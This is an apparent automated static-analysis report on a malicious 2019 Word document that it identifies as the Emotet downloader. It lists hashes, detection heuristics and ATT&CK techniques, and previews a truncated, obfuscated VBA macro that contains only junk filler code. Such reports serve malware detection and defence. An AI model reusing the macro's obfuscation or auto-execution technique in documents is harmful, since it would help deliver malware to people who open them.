Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 79ae01c03b90d68f…

MALICIOUS

Office (OLE)

337.8 KB Created: 2019-02-20 12:53:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 66609cdb67f16b2fed718b971f37be6c SHA-1: 24dbcbd72914cb4ed75c69e333cedf4e31d3dd4f SHA-256: 79ae01c03b90d68f9559d4136ee8993c2fed2055a1cd026eb0f3cef73a0d28e3
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains multiple high-severity heuristics indicating the presence of auto-executing VBA macros, specifically an AutoOpen macro that calls GetObject. ClamAV detection confirms this as Emotet, a known downloader family. The VBA macro code, though obfuscated, is characteristic of Emotet's behavior to download and execute further stages.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6863641-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6863641-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73106 bytes
SHA-256: b0c12544a74db81f0e15cb102781e92f754ec4314089984ea47a9d4e4ec1b37c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "H925_3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "r_5_823"
Function G62318_()
      H739_1 = 586228654 - 691008346
   m97061_ = 5556033 + v_322309
  Select Case l16_8_00
      Case 305309342
         z3433_2_ = Chr(108324084 * Tan(h835417_))
         T___4937 = k4__0_
      Case 965681069
         c03__6_ = h9386_
         X7_2_7_ = T94051
      Case 577281855
         O3_166__ = 851095863
         H_3547 = U93748_4
   End Select
      t57__23 = 795929006 - 486297114
   k_87_88 = 826922301 + i2_0_3_7
  Select Case j571869_
      Case 433321813
         n35_534 = Chr(697433497 * Tan(T18530))
         z450__ = Y_8__6_
      Case 465598567
         Z_8_0_9_ = w_5_70
         F1785_05 = M_3174
      Case 169324314
         z892_73 = 596115131
         o82_25_ = d_569585
   End Select
      f5685_ = 65687464 - 504488692
   s1782352 = 550022110 + u044357_
  Select Case s48_4_
      Case 804615325
         o591262_ = Chr(576469936 * Tan(R_96093))
         X9_2_1 = n_786_87
      Case 293284431
         v28_0_ = f22988
         J97229 = j9___2
      Case 891925647
         D5__0163 = 887162536
         h5___95_ = B51832_
   End Select
      z65602 = 933219181 - 705418112
   h2_332_ = 32656349 + E59974_1
  Select Case H412771
      Case 219298922
         H__0_79 = Chr(430128947 * Tan(v64__0_))
         V3___661 = m19_6956
      Case 911594000
         j7_78_14 = j65_44__
         X_08559 = f5____
      Case 724370197
         Y05_8_ = 69384278
         B26769 = p_43323
   End Select
      i88_292 = 423493778 - 232421187
   A58351 = 612980487 + O_41871
  Select Case B19590_
      Case 775763640
         z370___2 = Chr(421861865 * Tan(K_6_20))
         X08__31 = n_791_34
      Case 841671513
         P05986 = N77_75
         W397_4 = d393349
      Case 281209163
         I_5_766_ = 245585800
         u_479_ = p617_1
   End Select
      s4794_ = 842366341 - 103087749
   X_067_ = 305934119 + t3639_
  Select Case j4_0282
      Case 110219340
         c0_4_9_2 = Chr(624506230 * Tan(r3480_))
         C___63_ = T68462_
      Case 837928534
         W_37213 = Y36920
         k_82_38_ = z7180659
      Case 613817118
         l_35__5 = 6898248
         d551__8 = i__3362
   End Select
      R2__176 = 599453693 - 531820392
   s_8_503 = 983399776 + G2_21_
  Select Case A2__011
      Case 500248428
         P69_45 = Chr(613100183 * Tan(t185_9))
         z__10_ = f9227__
      Case 46938077
         U04_07_9 = a__26_1
         G9785007 = u474439
      Case 966825132
         Q41391 = 846220568
         k9_34_ = E_3_181_
   End Select
      j76621_ = 156445723 - 647533155
   b36__7__ = 887275053 + F2_9_0
  Select Case M8483839
      Case 408017018
         v12__3 = Chr(997665208 * Tan(Q_672955))
         N2__264 = K9_8__
      Case 489653810
         M_6_7976 = W83_____
         z788_1 = O709862
      Case 758178888
         j350374 = 719511548
         w91_6___ = C681303_
   End Select
End Function
Function G0___9(A15706, H_55__55)
On Error Resume Next
      r17_20__ = 451069782 - 959195055
   l912_0_ = 779060155 + m5996240
  Select Case p6022__6
      Case 225361722
         N7_86_36 = Chr(981665465 * Tan(Z242375_))
         B__5____ = c6_7_01
      Case 987656045
         N_9__8 = k7266449
         U_374_ = R_5875
      Case 518299770
         D3_6621 = 240098355
         H_8438 = U__0_6_
   End Select
      i3433__ = 571309018 - 287955622
   R___88 = 537878067 + V452_200
  Select Case U8___8
      Case 333981010
         t2_74231 = Chr(864845650 * Tan(h_9_46))
         N1335_ = c__340_
      Case 979034486
         n2__2_9 = h_1_703
         k_086993 = p__91_0_
      Case 205024266
         R9154982 = 380215571
         G14__4 = G__070
   End Select
      n87__5 
... (truncated)

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